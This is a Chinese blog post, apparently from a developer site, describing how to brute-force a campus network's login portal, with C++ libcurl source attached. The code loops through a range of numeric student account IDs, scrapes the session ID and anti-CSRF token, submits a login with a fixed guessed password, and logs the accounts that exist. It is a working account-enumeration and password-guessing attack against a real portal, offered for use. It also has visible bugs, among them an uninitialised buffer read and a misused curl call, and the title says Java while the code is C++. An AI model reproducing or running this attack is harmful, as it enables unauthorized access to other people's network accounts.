java暴力破解校园网_记一次暴力爆破校园网认证密码(附源码)

[C++] 纯文本查看 复制代码#include

#include

#include "include/curl/curl.h"

size_t process_data(void* buffer, size_t size, size_t nmemb, void* user_p)

{

strcat((char*)user_p, (char*)buffer);

return size*nmemb;

}

int main(int argc, char* argv) {

//初始化curl

CURL* pEasyHandle = curl_easy_init();

CURLcode code;

int m,n;//方便多开,输入m,n代表爆破从m到n的账号(610000-619999)

scanf("%d%d",&m,&n);

char* f;

scanf("%s",f);//保存文件

CString v=f;

v.Format("%s.txt",v);

FILE* fp=fopen(v,"w");

for(int i=m;i<=n;++i)

{

printf("%d\n",i);//当前账号名

curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portal.do?wlanuserip=172.17.30.197&wlanacname=system&mac=xx:xx:xx:xx:xx:xx&vlan=0&url=http://go.microsoft.com/fwlink/?LinkID=219472&clcid=0x409&rand=582e3a2b"); //登录地址

curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);

curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);

curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);

curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");

char szRet[100000] = {0};//返回信息

curl_easy_setopt(pEasyHandle, CURLOPT_WRITEHEADER, szRet);

curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet);

code = curl_easy_perform(pEasyHandle);

//printf("%s\n",szRet);

CString ret=szRet;

int pos1=ret.Find("JSESSIONID=");//定位sessionid

CString session=ret.Mid(pos1+11,32);//32位seesionid

int pos2=ret.Find("TOKEN\" value=\"");//取得当前TOKEN

CString token=ret.Mid(pos2+14,32);

CString po;

//提交数据

po.Format("org.apache.struts.taglib.html.TOKEN=%s&wlanuserip=172.17.30.197&wlanacname=system&chal_id=&chal_vector=&auth_type=PAP&seq_id=&req_id=&wlanacIp=127.0.0.1&ssid=&mac=xx%%3A1e%%3A11%%3Aac%%3A00%%3A00&message=&bank_acct=&isCookies=&listpasscode=1&listgetpass=1&getpasstype=0&randstr=4692&domain=&version=0&authkey=&usertype=&url=http%%3A%%2F%%2Fgo.microsoft.com%%2Ffwlink%%2F%%3FLinkID%%3D219472&isHaveNotice=0&userid=%d&passwd=123&submit=Login",token,i);

//printf("\n\n\n%s\n\n",po.GetBuffer(0));

//po.ReleaseBuffer();

curl_easy_setopt(pEasyHandle, CURLOPT_POSTFIELDS, po);

curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portalAuthAction.do;jsessionid=%s",session);//提交地址

curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);

curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);

curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);

curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");

char szRet2[1024] = {0};//返回信息

curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet2);

code = curl_easy_perform(pEasyHandle);

ret=szRet2;

if(ret.Find("帐号不存在")==-1)//不是账号不存在(账号名有效)

fprintf(fp,"%d\n",i);//保存到文件

//printf("%s\n",szRet2);

/*Sleep(sp);

cnt++;

if(cnt%10 == 0)

printf("%d\n",cnt);*/

}

fclose(fp);

curl_easy_cleanup(pEasyHandle);

getchar();

return 0;

}

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值